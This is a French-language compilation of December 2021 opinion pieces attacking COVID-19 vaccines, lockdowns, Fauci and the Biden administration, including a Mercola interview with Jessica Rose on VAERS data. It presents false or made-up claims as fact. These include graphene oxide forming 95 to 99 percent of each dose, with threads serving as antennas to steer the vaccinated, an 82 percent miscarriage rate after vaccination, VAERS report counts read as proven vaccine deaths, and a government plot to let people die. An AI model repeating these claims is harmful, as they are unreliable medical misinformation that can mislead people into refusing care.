Les responsables de la santé sud-africains ont signalé que la variante semblait être plus contagieuse mais beaucoup plus douce que les variantes précédentes, comme cela se produit généralement avec de tels virus. Mais les lockdowners n'en entendraient pas parler. De Boris Johnson au Royaume-Uni à DeBlasio à New York, la variante était une couverture parfaite pour qu'ils remettent leurs bottes sur le cou des citoyens terrorisés.
Comme on pouvait s'y attendre, Fauci s'est délecté de l'émergence de la nouvelle variante, mettant en garde contre des « morts record » pour les non vaccinés. De même, le président Biden a averti que ce serait un « hiver de la mort » pour les non vaccinés.
Mais voici quelque chose que les médias ne rapportent pas sur les épidémies d'omicron : elles ont lieu parmi les personnes entièrement vaccinées. L'Université Cornell, avec 97% du campus entièrement vacciné et un mandat de masque, a annoncé qu'elle reviendrait à l'enseignement en ligne uniquement après une épidémie massive de Covid. De même, la Ligue nationale de football a reporté plusieurs matchs ce week-end en raison d'épidémies de Covid, même si la Ligue est pratiquement vaccinée à 100%. Et la National Basketball Association, qui est à plus de 95 % entièrement vaccinée, vient d'annoncer qu'en raison d'une augmentation des cas de Covid, elle reportera également les matchs.
Le vaccin ne fonctionne pas pour prévenir l'infection ou la transmission du virus : les cas font rage dans les États avec les niveaux de vaccins les plus élevés. Pourtant, les « experts » continuent d'affirmer que la seule chose qui peut arrêter la propagation de l'omicron, ce sont les vaccins ! De plus en plus de gens comprennent que cela n'a aucun sens. Si les vaccins n'arrêtent pas la propagation, comment les vaccins peuvent-ils arrêter la propagation ?
Pendant ce temps, l'Afrique du Sud, avec l'un des taux de vaccination les plus bas, vient d'annoncer qu'elle ne voit qu'une infime fraction des hospitalisations avec omicron par rapport aux variantes précédentes. L'autorité d'intervention Covid d'Afrique du Sud a écrit au ministre de la Santé pour recommander la fin des efforts de confinement, la recherche des contacts et les quarantaines.
L'Afrique du Sud non vaccinée met fin aux restrictions de Covid tandis que le Nord hyper-vacciné se verrouille. Quelque chose ne colle pas.
Fauci aime dire que l'interroger, c'est interroger la science, mais cela n'a rien à voir avec la science. C'est une question de pouvoir. Fauci, les autoritaires politiques et les milliardaires corrompus de Big Pharma tentent de prendre une dernière position, désespérés de pousser omicron comme justification pour davantage de tyrannie et de profits. Mais la science réelle ne coopère pas.
Omicron se répand et les vaccins ne l'arrêtent pas. Jusqu'à présent, près de la moitié des infections à omicron sont asymptomatiques. Certains experts prédisent qu'omicron sonnera le glas de Covid-19. Mais nous savons que tant que des gens comme Fauci seront là, Covid-19 ne finira jamais. A moins, bien sûr, de répudier les charlatans et les profiteurs et de réclamer notre liberté !
- Voir les clips (sur Odydee) des docteures Alexandra Henrion-Caude et d'Astrid Stuckelberger, Carrie Madej, Judy Mikovitz, Lee Merritt, Valentina Kiseleva, et sur les Drs Bhakdi, Martin, Kennedy, Mc Cullough, Geert Vanden Bosche, Yeadon, Reiner Fuellmich, Richard Fleming, et Catherine Austin Fitts, rapports VAERS de Christine Cotton, Martine Wonner, Valérie Bugault, Ariane Bilheran, Reiner Fuellmich, Jean-Dominique Michel, Miguel Barthéléry, Michael Levitt, Michael Yeadon, Christian Perronne, Jean-Bernard Fourtillan, Luc Montagnier, Gonzague Retourney, Louis Fouché, etc
Les scientifiques pharmaceutiques admettent que les vaccins COVID peuvent provoquer des caillots sanguins
20 décembre 2021 Par Vasko Kohlmayer
"AstraZeneca découvre ce qui déclenche la formation de caillots sanguins après son injection", lit-on dans un titre récent de Mail Online.
"Oh oh oh !" on a envie de s'exclamer. C'est donc vrai après tout. Après près d'un an d'obstruction et de démentis, ils admettent officiellement que les vaccins COVID peuvent, en fait, provoquer des caillots sanguins.
Cela sera sans aucun doute un grand choc pour ceux qui croient aux récits des médias grand public, où tous les discours sur les blessures causées par les vaccins ont jusqu'à présent été rejetés comme de la « désinformation » de la part de ces anti-vaccins de droite.
On nous a dit à plusieurs reprises que seuls les fous croiraient que les vaccins COVID pourraient être dangereux. Après tout, les scientifiques et les responsables de la santé publique nous ont toujours rassurés sur le fait que ces vaccins sont « totalement sûrs et efficaces ».
Il s'avère, cependant, que le mantra « totalement sûr et efficace » n'est pas vrai, puisque ces scientifiques d'élite qui ont conçu ces vaccins admettent maintenant que leur produit peut également générer des caillots sanguins.
Mais nous ne devons pas trop nous en inquiéter, car ils nous informent également utilement qu'ils ont peut-être découvert ce qui, dans leurs vaccins, provoque ces effets secondaires mortels (c'est nous qui soulignons) :
Ils ont découvert que la coque du vaccin vectoriel – le virus du rhume affaibli utilisé pour enseigner aux cellules comment neutraliser le COVID – agit parfois comme un aimant et attire les plaquettes, une protéine présente dans le sang. Pour des raisons que les scientifiques étudient toujours, le corps confond alors ces plaquettes avec une menace et produit des anticorps pour les combattre. La combinaison des plaquettes et des anticorps qui s'agglutinent conduit à la formation de caillots sanguins dangereux.
Félicitations pour cette découverte, mais elle arrive un peu tard dans le jeu après que des centaines de millions de doses d'AstraZeneca aient été injectées dans le corps des gens dans le monde.
Pour éviter que de telles situations désagréables ne surviennent, les vaccins doivent normalement subir des tests approfondis, ce qui est un processus qui prend généralement plusieurs années.
Ces procédures gênantes, cependant, ont été en grande partie abandonnées en ce qui concerne les vaccins COVID, qui n'ont subi que quelques mois de tests avant d'être déployés. Seules les phases 1 et 2 des essais auraient été achevées – et cela à la hâte – avant que l'autorisation d'urgence ne soit donnée pour commencer l'administration de masse. À l'heure actuelle, le public est obligé de participer aux phases 3 et 4 des essais et, sans surprise, les gens souffrent de toutes sortes d'effets secondaires « imprévus ».
On se demande seulement quels autres effets secondaires mortels nous découvrirons dans les mois et les années à venir.
Une chose semble tout à fait certaine à ce stade : ces vaccins ne sont pas aussi sûrs qu'initialement annoncé.
Considérez le graphique ci-dessous, qui exprime les données de la base de données VAERS. Comme vous le savez peut-être, VAERS signifie Vaccine Adverse Event Reporting System, qui est un établissement géré par le gouvernement américain qui collecte des informations sur les effets secondaires des vaccins.
Le graphique montre le nombre de rapports annuels de décès suite à la vaccination au cours des trente dernières années. Il montre que les chiffres sont restés relativement stables de 1990 à 2020 et étaient généralement inférieurs à 500 cas par an. Cela a radicalement changé vers la fin de 2020, lorsque les vaccins COVID ont été introduits. À ce stade, nous assistons à une explosion rapide des rapports de décès. Donc exponentielle est l'augmentation que la ligne du graphique tire presque verticalement.
- voir graph sur site -
Vous pouvez voir la source du graphique ici.
Il devrait être très préoccupant qu'au cours des 12 derniers mois, il y ait eu plus de rapports de décès liés au vaccin qu'au cours des 29 années précédentes combinées.
À la lumière de cela, comment une personne sensée peut-elle prétendre que ces vaccins sont « parfaitement sûrs » ?
Dans le passé, les vaccins étaient rappelés s'il s'avérait que quelques dizaines de décès étaient directement causés par le vaccin.
Au Royaume-Uni, à eux seuls 73 décès ont déjà été directement liés à des caillots produits par le vaccin. Ceci, cependant, est une sous-estimation grossière de la réalité, car la plupart des décès dus au vaccin ne sont pas signalés en tant que tels, et encore moins font l'objet d'une enquête appropriée. Le chiffre 73 ne représente que la pointe la plus élevée de l'iceberg.
La question est de savoir pourquoi ces vaccins sont encore administrés en masse, étant donné ce que nous savons des dangers qu'ils représentent.
Plus étonnant encore, pourquoi vaccinons-nous les enfants, étant donné que le risque pour les enfants en bonne santé de COVID sévère est pratiquement nul ?
Une grande étude allemande a récemment révélé qu'au cours des 15 premiers mois de la pandémie, aucun enfant en bonne santé parmi les 5 à 18 ans n'est mort de COVID.
Avant même la publication de l'étude allemande, le New York Times a observé que pour les enfants, "le danger de COVID sévère est si faible qu'il est difficile à quantifier".
Pourquoi, alors, exposons-nous les enfants au risque de caillots sanguins et d'autres affections graves – telles que la myocardite et la péricardite – étant donné qu'ils courent un risque négligeable de COVID grave ?
Vacciner les enfants devient d'autant plus absurde que l'on sait désormais que les vaccins ne protègent pas de l'infection.
Ce que nous faisons à nos enfants en leur injectant ces substances dangereuses est tout simplement inadmissible.
"Oui", Mabel, "ces vaccins sont parfaitement sûrs et efficaces. Et ils sont également bons pour les enfants."
Pour le croire, vous devez soit venir de Mars, soit écouter les médias grand public.
Les 40 000 milliards de nano-particules d'oxyde de graphène contenues dans UNE seringue (ce qui représente de 95 à 99 % de la composition de la dose !) sont des poisons mortels violents qui peuvent s'agglomérer en boules (caillots) et boucher les artères entraînant la mort ou, se présenter en fils (morgelons) qui serviront d'antennes pour téléguider les inoculés qui se la font mettre profond.
Par James Howard Kunstler Kunstler.com 21 décembre 2021
Je suppose que les Américains, dans l'ensemble, chérissent Noël plus qu'ils ne craignent la dernière campagne terroriste parrainée par le gouvernement Covid-19, et que les tyrans mondialistes – ou peu importe comment vous voulez les appeler – derrière « Joe Biden » sont maintenant passés à un foutre l'esprit trop loin. Omicron est tout ce qu'il leur reste, et ce n'est pas grand chose avec quoi travailler. Se propage facilement, présentation douce, immunise naturellement. Qu'est-ce qui ne va pas dans cette variante du SARS-CoV-2 ? Un peu ressemble à une rampe de sortie du cauchemar de la psychose de formation de masse de Covid-19.
Bien sûr, la dernière chose que veulent les autorités, c'est la fin de la panique pandémique. Le président auto-autorisé d'urgence Anthony Fauci était partout dans les nouvelles du câble dimanche soir avec de terribles avertissements concernant un hiver de la mort! « Nous avons quelques mois difficiles devant nous », a-t-il prévenu. « Soyez boosté ! » Une blonde de CNN a déclaré à la nation: "Les arguments en faveur des boosters n'ont jamais été aussi forts."
Est-ce vrai ? Omicron aurait commencé en Afrique du Sud il y a quelques semaines et les décès de Covid y sont au plus bas depuis 18 mois. Les « vaccins » existants semblent être complètement inefficaces contre omicron, alors comment cela va-t-il aider davantage ? Et alors pourquoi toute cette hystérie à propos du vaxxing jusqu'à la résistance au vaxx ? Dans la mesure où les vaccins Moderna et Pfizer présentent des risques non négligeables d'effets secondaires nocifs à mortels, en plus d'être inefficaces, quel est le pari prudent ? En parlant de cela, le public sera-t-il même capable de discerner si la prétendue vague de décès hivernaux est le résultat de Covid ou de réactions indésirables aux vaxxes ? Mon argent serait consacré aux événements indésirables de vaxx.
Pourquoi ne parle-t-on absolument pas – sauf dans l'État de Floride, dirigé par le gouverneur Ron DeSantis – d'un traitement précoce complet de Covid ? Pourquoi le CDC ne crée-t-il pas de centres de traitement précoce aux États-Unis, où les personnes présentant des symptômes peuvent recevoir des perfusions d'anticorps monoclonaux et des kits de médicaments oraux bien connus, bon marché, sûrs et efficaces qui peuvent être utilisés facilement à la maison pour vaincre le virus ? (Ces médicaments ont été subrepticement interdits par notre propre CDC, vous savez.) Est-il absurde de supposer que l'objectif officiel du gouvernement « Joe Biden » est de permettre à autant de personnes que possible de mourir afin de garder le public terrorisé ? Pendant ce temps, ils ont provoqué le public à faire la queue pour les tests Covid à l'aide d'un système PCR si discrédité pour la détection de Covid qu'il y a des mois, le CDC a programmé sa mise hors ligne le 31 décembre (et, euh, pourquoi le long décalage entre le la décision et l'action ? Réponse : cela permet au CDC d'augmenter faussement le nombre de cas jusqu'à la fin de l'année.)
Avec la défaite apparente du cafouillage Build Back Better, à la suite d'une longue liste d'autres échecs, la principale chance du régime de « Joe Biden » de conserver tout pouvoir est de maintenir la panique de Covid assez longtemps pour relancer les escroqueries de vote par correspondance de 2020 aux élections législatives de 2022. C'est un jeu faible, cependant, puisque l'opposition est pleinement dessus. Et si le Parti démocrate perd autant de sièges au Congrès et au Sénat qu'il le mérite, pas un seul élément de sa législation toxique ne verra le jour jusqu'à ce que les mastodontes rentrent à la maison au cours de la prochaine ère glaciaire. Considérez également que les agents du Parti démocrate en limousine seront transportés pour témoigner devant des comités contrôlés par l'opposition et que nombre d'entre eux feront l'objet de renvois criminels.
Quoi qu'il en soit, cette élection est loin alors que les événements avancent rapidement et furieusement. Principalement, les récits préférés du régime s'effondrent avec ses chiffres dans les sondages et l'effondrement de l'économie. "Joe Biden" est programmé pour faire un pitch pour les blocages de Noël mardi soir. Je suis sûr que cela se passera bien (pas), en plus de la menace renouvelée des mandats vaxx qui inquiéteront et énerveront des millions de travailleurs de perdre leurs moyens de subsistance – alors qu'ils s'apprêtent à vivre leur Noël frénétique de dernière minute. faire du shopping tout en préparant des réunions de famille qui peuvent être annulées (y compris les billets d'avion). Allons-y, Brandon !
Une idée utile qui circule sur Internet ces derniers temps est qu'une grève générale nationale ait lieu le 4 janvier, le premier jour de retour au travail après les vacances. C'est simple : ne vous présentez pas au travail et ne dépensez pas un sou. Le message sera clair : arrêtez-le ! Arrêtez la coercition, arrêtez le mensonge, arrêtez les manigances et arrêtez le foutage d'esprit. Si cet événement se produit, beaucoup de gens seront libres pour la journée - peut-être quelques jours - de descendre dans la rue et de manifester leur opposition de principe à un leadership politique illégitime. "Joe Biden" et sa compagnie sauteront de haut en bas, l'appelant une autre "insurrection". Devinez quoi : personne ne les croira.
Quand remettre en question « la science » devient une « maladie »
Eric Peters 20 décembre 2021
Il est déjà assez grave que des faits contraires soient qualifiés de « désinformation » par des « vérificateurs de faits » qui ont récemment admis qu'ils étaient en train d'offrir des opinions et, par conséquent, ne peuvent être tenus pour responsables de diffamer les fournisseurs de faits en tant que colporteurs de « désinformation ».
Cela empirera quand exprimer une opinion contraire sera considéré comme une preuve de maladie mentale – par les mêmes « vérificateurs de faits ».
Ils ont déjà un nom pour cela – le trouble de stress post-pandémique. Cela «afflige» ceux qui se demandent à voix haute – ou en ligne – pourquoi ils étaient en bonne santé avant d'être amputés et ne le sont plus, après avoir été amputés.
Les cas d'inflammation cardiaque, de paralysie de Bell et de mort officiellement admis par les concoctors de la piqûre sont tous dans votre tête, voyez-vous. Vous imaginez des choses. Et c'est une chose dangereuse de dire quoi que ce soit qui pourrait être interprété comme corrélatif, car cela pourrait amener d'autres non encore piqués à y réfléchir à deux fois.
Mais ne vous inquiétez pas, il existe un remède. Une autre piqûre – cette fois avec des médicaments psychiatriques, pour calmer votre « anxiété » et (bien sûr) augmenter votre passivité et votre suggestibilité. Le Doped étant plus facile en injections.
C'est à cela que la Science nous a réduits – ou essaie de le faire.
C'est une variante de la « science » qui était « pratiquée » dans l'ancienne Union soviétique sous le nom de Lyssenkisme – d'après son fondateur proto-Fauci, Trofim Lyssenko. C'était un agronome-charlatan comme le médecin qui ne pratique pas la médecine est un charlatan médical. C'était la thèse de Lyssenko selon laquelle les rendements des cultures pourraient être considérablement augmentés en « éduquant » les plantes dans une conscience de classe. Plantez des graines de la même « classe » à proximité les unes des autres et elles transmettront leur « conscience ».
Il a nié le rôle des traits héréditaires via la génétique.
Le lyssenkisme est devenu officiel – de la même manière que les « masques » sont devenus officiels. De la même manière que les « vaccins » qui n'immunisent pas – et favorisent ainsi la propagation de la maladie qu'ils prétendent guérir – sont devenus officiels.
L'État soviétique a puni les hérétiques, qui ont osé remettre en question la « science » de Lyssenko, qui a promu la politique de l'État soviétique.
La presse soviétique était pleine d'éloges pour Lyssenko - et dans une égale mesure, d'abus envers ceux qui refusaient de feindre la croyance, étant donné des faits contraires. Cela a été considéré comme une indication de maladie mentale, puisque le parti – qui incarnait « la science » – avait toujours raison et donc, quiconque pensait le contraire était – de toute évidence – malade.
Les gens ont été jetés dans des hôpitaux psychiatriques, une forme de punition bien plus cruelle que la simple peine d'emprisonnement puisque la santé mentale des emprisonnés n'a pas été remise en question. Il a la dignité de la criminalité pour l'aider à maintenir sa santé mentale. Essayez d'imaginer être détenu dans une cellule parce qu'ils vous disent que vous n'êtes pas bien.
Dans la tête.
Que vous ne pouvez pas comprendre la réalité. Que les quatre doigts agités devant vos yeux totalisent cinq plutôt que quatre. C'est assez pour rendre n'importe qui fou.
Ils essaient de faire la même chose, encore une fois.
Combien de doigts. Winston ? La science n'est plus un processus d'investigation, un examen des faits – pour voir lesquels tiennent et lesquels ne tiennent pas. C'est personnel.
En la personne de notre Lyssenko, le médecin qui ne pratique pas la médecine. Qui est « la science », selon ses propres mots.
Et il ne doit pas être interrogé.
Comme dans l'ancienne Union soviétique, « la science » a le soutien de l'État, qui promeut son idéologie, quelle que soit la science. Ignore la science - lorsqu'il est démontré qu'elle est en conflit avec "la science".
Dans l'ancienne Union soviétique, des millions de personnes sont mortes de faim à cause de la science de Lyssenko.
Aux États-Unis, des millions de personnes ont été tourmentées par « la science » du petit docteur qui ne pratique pas la médecine. Si les données accumulées jusqu'à présent par le Vaccine Adverse Event Reporting System (VAERS) sont exactes à 5 %, ce qui devrait être un nombre alarmant de personnes ont été gravement blessées – beaucoup d'entre elles de façon permanente – par « la science » comme l'a insisté le petit docteur qui ne pratique pas la médecine – mais qui a le curriculum vitae nécessaire sous forme de soutien politique (et corporatif). Ce dernier cas étant également similaire au cas de l'ancienne Union soviétique - où l'État dirigeait les entreprises ainsi que tout le reste.
Comme alors, cette moissonneuse-batteuse a été utilisée pour crier, se moquer, mettre sur liste noire, dé-plateforme, démonétiser et diaboliser ceux qui contestent les prescriptions toxiques du petit médecin. Mais cela n'a pas suffi à les faire taire.
Pour leur propre sécurité, bien sûr. Je ne peux pas avoir de fous dehors.
Ainsi, la hausse soudaine et pour cette raison devrait être alarmante des problèmes cardiaques, en particulier chez les jeunes auparavant en bonne santé, n'a rien à voir avec les piqûres qu'ils ont reçus. Les psys disent que c'est une étiolement du trouble de stress post-pandémique, c'est-à-dire de l'anxiété.
Des millions sont touchés – et des centaines de milliers pourraient bientôt en mourir – selon le Britannique Lysonkoite Mark Rayner, un « thérapeute » cité dans un article publié par l’Evening Standard du Royaume-Uni.
« Le PPSD est un problème très réel à grande échelle », dit-il. "En plus de la maladie elle-même avec tous ses problèmes immédiats, l'un des plus gros problèmes collatéraux est l'effet qu'elle peut avoir sur la santé cardiaque."
En d'autres termes, si le pire se produit et que des centaines de milliers – voire des millions – meurent de maladies cardiaques et d'autres maladies après avoir été piquées, ce n'est absolument pas dû à la piqûre.
Le simple fait de suggérer que cela pourrait être la preuve que vous êtes également malade.
Et « la science » ne peut pas permettre que cela ne soit pas traité.
Dans notre présent – comme c'était le cas, à l'époque.
Ce que les données VAERS nous disent sur la sécurité des piqûres COVID
Par Joseph Mercola Mercola.com 21 décembre 2021
Jessica Rose, Ph.D., chercheuse à l'Institute for Pure and Applied Knowledge en Israël, a plongé en profondeur dans le système américain de notification des événements indésirables des vaccins (VAERS), et dans cette interview, elle partage les détails de ce que elle trouve.
Le VAERS, malgré ses défauts et ses inconvénients, est l'un des meilleurs outils dont nous disposons pour évaluer l'innocuité des vaccins. Il a été mis en œuvre à la suite de la loi nationale de 1986 sur les blessures causées par les vaccins chez l'enfant. Alors que les fabricants de vaccins bénéficiaient d'une immunité générale contre la responsabilité des effets indésirables en vertu de cette loi, le VAERS a été créé pour collecter les rapports de blessures dans une base de données centralisée afin que la sécurité post-commercialisation des vaccins pour enfants puisse être surveillée.
Le système a en fait été lancé en 1990, nous avons donc trois décennies de données pour comparer les tendances. Certes, les blessures causées par les vaccins sont notoirement sous-déclarées. Les enquêtes ont révélé que seulement 10 %1 à aussi peu que 1 %2,3 des blessures sont signalées.
En ce qui concerne le COVID jab en particulier, les calculs4 de Steve Kirsch, directeur exécutif du COVID-19 Early Treatment Fund, suggèrent que les blessures sont sous-déclarées d'un facteur 41. Mais malgré cela et d'autres lacunes, le VAERS peut toujours fournir des informations précieuses sur un vaccin donné.
Rose est une biologiste informatique avec des diplômes postdoctoraux en biologie moléculaire et biochimie. Alors qu'elle était d'origine canadienne, elle a fait sa formation postdoctorale en Israël, où elle vit toujours. Lorsque son rêve de surfer en Australie a été anéanti en raison de l'épidémie de COVID-19, elle a décidé de commencer à écrire du code pour les statistiques et les graphiques, et à mesure que la pandémie avançait, elle a appliqué ces compétences en programmation à la base de données VAERS.
Non, les gens ne déposent pas de faux rapports
Une tentative courante d'expliquer les données du VAERS par les soi-disant vérificateurs de faits consiste à dire qu'elles ne sont pas fiables car n'importe qui peut déposer un rapport. C'est de la pure foutaise. Oui, tout le monde peut déposer un rapport, mais il y a des pénalités pour le dépôt d'un faux rapport, et le dépôt est long et exigeant. Nous pouvons être tout à fait certains qu'il n'y a pas de sur-déclaration en cours.
Il faut en moyenne 30 minutes pour remplir un rapport, et le système est configuré de manière à ce que vous ne puissiez rien enregistrer jusqu'à la toute fin. Pire encore, chaque page expirera après une période de temps imparti, vous obligeant à recommencer depuis le début si vous prenez trop de temps pour remplir les détails.
"Cela frustre probablement suffisamment les gens pour qu'ils ne recommencent pas", dit Rose. En effet, la lourdeur du site Web lui-même a souvent été citée comme raison pour laquelle les médecins ne signalent pas les événements indésirables. Les médecins n’ont pas le temps de le faire et la plupart des patients ne savent pas qu’ils peuvent déposer eux-mêmes leur dossier. Comme l'a noté Rose :
« [VAERS] est probablement l'un des meilleurs systèmes de collecte de données sur les événements indésirables au monde, mais c'est complètement lamentable. C'est obsolète… Néanmoins… c'est un moyen de détecter des signaux de sécurité qui n'ont pas été détectés lors des tests de pré-commercialisation ou des essais cliniques.
Et cela fonctionne de cette façon, car il y a beaucoup, beaucoup de signaux de sécurité [about the COVID piqûres] rejetés par les données. Par exemple, tout le monde a entendu parler de la myocardite… qui est l'un des signaux de sécurité émis dans le VAERS. Et donc, nous avons appris que cela se produit chez les jeunes, plus encore chez les garçons.
Une explication de cet écart entre les sexes a à voir avec les androgènes. Il a été démontré que la testostérone facilite l'entrée de la protéine de pointe dans les cellules en activant une enzyme spécifique. Cela pourrait aider à expliquer pourquoi les hommes, qui ont des niveaux de testostérone plus élevés, contractent une myocardite à des taux beaucoup plus élevés que les femmes.
Les «vaccins» les plus mortels de l'histoire médicale
Rose continue :
« J'implore tout le monde de le faire… [VAERS] est très accessible. Allez simplement sur leur site Web et téléchargez les fichiers CSV. Vous pouvez jouer avec dans Excel ou utiliser tout ce qui est compatible avec le fichier CSV. Le système OpenVAERS est encore plus simple à utiliser.
Il existe trois fichiers distincts que vous pouvez télécharger pour l'ensemble de données nationales, qui comprend les données de l'individu, les symptômes ou les événements indésirables qu'il a signalés (et il peut y avoir jusqu'à 15 types différents) et les données d'injection…
Vous pouvez les fusionner pour que, selon [chaque] ID VAERS, vous ayez beaucoup plus d'informations… C'est ce que j'ai fait. Il suffit de compter le nombre d'événements indésirables survenus en 2021. Dans le cadre des produits COVID-19, exclure tous les autres vaccins pour isoler le signal, et comparer le nombre d'événements indésirables au nombre total de événements indésirables signalés chaque année depuis 30 ans.
Il n'y a absolument aucune comparaison. Le nombre moyen de rapports d'événements indésirables au cours des 10 dernières années est d'environ 39 000, et cela inclut les données de rapport d'événements indésirables pour tous les vaccins combinés. Il y en a beaucoup …
Nous examinons donc environ 39 000 événements indésirables totaux par an [en moyenne pour tous les vaccins], contre 675 942 [événements indésirables post COVID injections] dans le seul ensemble de données nationales [Note de l'éditeur : veuillez noter que toutes les données sont au jour de l'entretien et n'ont pas été mis à jour avant la publication]. Et cela n'inclut pas le facteur de sous-déclaration…
Nous constatons la même tendance lorsque nous isolons des événements indésirables autonomes comme la mort. Il y a plus de 10 000 décès [post COVID injections] signalés maintenant dans le seul ensemble de données nationales, sans compter le facteur de sous-déclaration, et au cours des 10 années précédentes, la moyenne était de 155 décès pour l'année entière pour tous les produits combinés. Il s'agit d'une augmentation de plus de 6 000 % des déclarations de décès.
Donc, la question que j'ai posée à la FDA, au CDC et à quiconque veut m'écouter est : « Quel est le nombre limite ? » Parce que vous pensez en quelque sorte que la mort est le pire résultat en termes d'événements indésirables. dans le cadre d'un vaccin ou d'un produit biologique.
Je pense qu'il y a des choses pires que la mort personnellement. Mais la plupart des gens pensent que la mort est assez mauvaise. C'est pourquoi je parle toujours de la mort dans ce contexte. Quel est le nombre de coupure ici ? Combien de personnes doivent mourir pour que ces produits soient considérés comme dangereux ? C'est donc essentiellement tout ce que vous avez à faire dans VAERS. Je veux dire, vous pouvez vous arrêter là. Vous n'avez rien à regarder d'autre. Mais il y a tellement plus.
Alors que la Food and Drug Administration et les Centers for Disease Control and Prevention des États-Unis nient scandaleusement qu'un seul décès puisse être attribué aux piqûres de COVID, il est tout simplement impossible d'exclure 19 532 décès5 (8 986 dans les seuls territoires américains6) signalés au 26 novembre 2021. Comme le note Rose :
« Il n'est même pas statistiquement plausible de dire qu'aucun décès sur 10 000 n'a été causé [par le tir]. Ce n'est pas scientifique de dire que… Ces gens, pas 100 % d'entre eux seraient morts de toute façon ? Ce n'est pas comme ça que la vie fonctionne.
La FDA et le CDC ignorent également les analyses de données standard qui peuvent faire la lumière sur la causalité. C'est ce qu'on appelle les critères de Bradford Hill - un ensemble de 10 critères qui doivent être satisfaits afin de montrer des preuves solides d'une relation causale. L'un des plus importants de ces critères est la temporalité, car une chose doit précéder l'autre, et plus la durée entre deux événements est courte, plus la probabilité d'un effet causal est élevée.
"Donc, lorsque vous parlez de pourcentages de personnes décédées dans les 24 heures suivant l'un de ces injections, disons que vous parlez de 50%", dit Rose. "C'est un peu suspect pour moi. [Pourtant] ils nient complètement l'effet causal. C'est juste par coïncidence ?
Il existe également un signal de sécurité fort pour les problèmes de reproduction chez les femmes. Les données préliminaires post-commercialisation ont montré que les femmes qui ont reçu le vaccin au cours des 20 premières semaines de grossesse avaient un taux de fausses couches de 82 %.7,8 Les propres données de Pfizer, que Rose a analysées, ont montré un taux de fausses couches de 69 % lorsqu'elles ont été administrées au cours des 20 premières semaines. semaines. Pourtant, personne ne met en garde les femmes enceintes contre ces injections : bien au contraire, on ment universellement aux femmes.
Comment évaluer la sous-déclaration
Comme mentionné, Kirsch a calculé un facteur de sous-déclaration pour les événements de jab post COVID de 41, ce qui est probablement assez conservateur. Le calcul de Rose est encore plus prudent que cela. Elle explique:
« Steve [Kirsch] et moi sommes de bons amis. Nous travaillons en étroite collaboration sur tout cela depuis longtemps. Son facteur de sous-déclaration est de 41. Il a estimé cela sur la base d'une publication évaluée par des pairs qui a estimé le nombre d'anaphylaxie, il a donc utilisé l'anaphylaxie comme indicateur de décès.
Cela signifie que lorsque vous nous entendez dire ces chiffres, vous devez les multiplier par 41, si vous voulez suivre l'estimation de Steve, ou 31 dans le cas de la mienne. La mienne est l'estimation la plus prudente. J'ai pris les données des essais cliniques de phase 3 de Pfizer qu'ils ont présentées à la FDA.
Il y avait plus de 18 000 participants dans le groupe médicament et les groupes placebo, et il y avait un certain pourcentage d'individus dans chaque bras qui ont succombé à un événement indésirable grave, qui comprend le décès, l'hospitalisation, la visite aux urgences, un événement indésirable mettant la vie en danger, handicap ou malformation congénitale.
Ainsi, 0,7% des personnes du groupe médicament ont succombé à un événement indésirable grave selon leurs données. J'ai utilisé ce taux et je l'ai multiplié par le nombre de personnes qui avaient reçu une injection d'une dose de Pfizer à une certaine date, le 10 août, et ce nombre devient le nombre attendu de personnes qui succomberaient à un événement indésirable grave en fonction de leur Les données.
Donc, vous prenez ce nombre et le divisez par le nombre de rapports d'événements indésirables graves, et vous obtenez un facteur de multiplication, un facteur de sous-déclaration. Lorsque vous utilisez cet ensemble de données de base, les données des essais cliniques de phase 3 de Pfizer, vous obtenez 31. Ronald Kostoff a également publié un article dans Toxicology Reports, et son estimation est de 100, je crois.
Donc, chaque fois que vous parlez du facteur de sous-déclaration, je pense que vous devriez en parler en termes de fourchette, car chaque événement indésirable aura son propre [facteur de sous-déclaration]…
Je pense que si les gens connaissaient réellement la réalité de ce qui se passait, ils décideraient très rapidement, tout de suite, de ne jamais s'approcher de ces choses. Ce n'est pas du ouï-dire. Ce n'est pas une conjecture. Les essais cliniques sont des ordures, et il n'y a pas de données de sécurité. Je ne dis pas seulement cela - cela reflète très bien tous ces systèmes de collecte de données sur les événements indésirables dans le monde entier.
Ils disent tous la même chose, le Yellow Card [système au Royaume-Uni], les États-Unis [VAERS], l'Australie [système9]. Ils disent tous la même chose. A titre d'exemple, la myocardite et les jeunes garçons. Vous savez, ce n'est pas quelque chose que vous pouvez ignorer. Il y a une raison pour laquelle cela se produit. C'est parce que les [coups] ne sont pas sûrs.
Que sont les identifiants VAERS et pourquoi sont-ils manquants ?
Les ID VAERS sont les numéros attribués aux entrées de rapport individuelles. Mis à part la sous-déclaration, une autre bizarrerie qui suggère fortement que les données sont pires que nous le pensons est que les identifiants VAERS disparaissent. En d'autres termes, les rapports de cas sont supprimés du système après leur introduction. Rose a enquêté sur ce point après avoir vu des vidéos disant que des centaines, voire des milliers de personnes avaient vu leurs rapports supprimés.
Ainsi, elle a entrepris de confirmer ou de nier si des rapports manquaient chaque semaine, car les ensembles de données sont mis à jour chaque semaine. Elle télécharge tous les ensembles de données depuis janvier 2021, ce qui la place dans la position unique de pouvoir comparer les différents ensembles, car lorsque l'ensemble de données est mis à jour, les anciennes données sont écrasées.
Ils ont vécu cette horrible expérience, qu'aucun humain ne devrait vivre, puis ils ont disparu. Je ne sais même pas quel est le mot pour cela. C'est épouvantable. ~ Jessica Rose Il existe désormais des raisons valables de supprimer un identifiant VAERS. L'une des raisons serait que le médecin et le patient déposent un rapport. Les deux rapports doivent ensuite être combinés et le numéro d'identification de l'un des rapports dupliqués est effacé. Cependant, ce que Rose a découvert, c'est que les rapports sont effectivement supprimés, ce qui ne devrait pas l'être. Elle explique:
« La façon dont je déterminais si les entrées, si leurs identifiants disparaissaient, consistait à découvrir quels identifiants VAERS n'apparaissaient pas dans la prochaine mise à jour, car vous supposeriez que chaque identifiant unique entré dans le système resterait dans le système. Et donc, la prochaine mise à jour aurait cet ensemble de données et un peu plus, mais ce n'est pas comme ça que cela fonctionne.
Il y a des suppressions chaque semaine, et elles ne sont pas expliquées. Il n'y a aucune explication pour ceux-ci. Donc, la première chose que j'ai faite quand j'ai trouvé ça - et c'était plus de 1 000 [ID manquants] - a été de vérifier si une forte proportion de ces rapports supprimés étaient des décès. Ce n'était rien de trop suspect, quelque chose comme 18 %.
Ensuite, j'ai vérifié les événements indésirables graves, puis j'ai vérifié les enfants, car c'est un gros problème qui se produit maintenant. Beaucoup de bébés disparaissent dans le VAERS, et ils ne devraient pas être là [puisque les injections COVID ne sont pas encore administrées aux bébés], ce qui explique probablement pourquoi ils sont retirés.
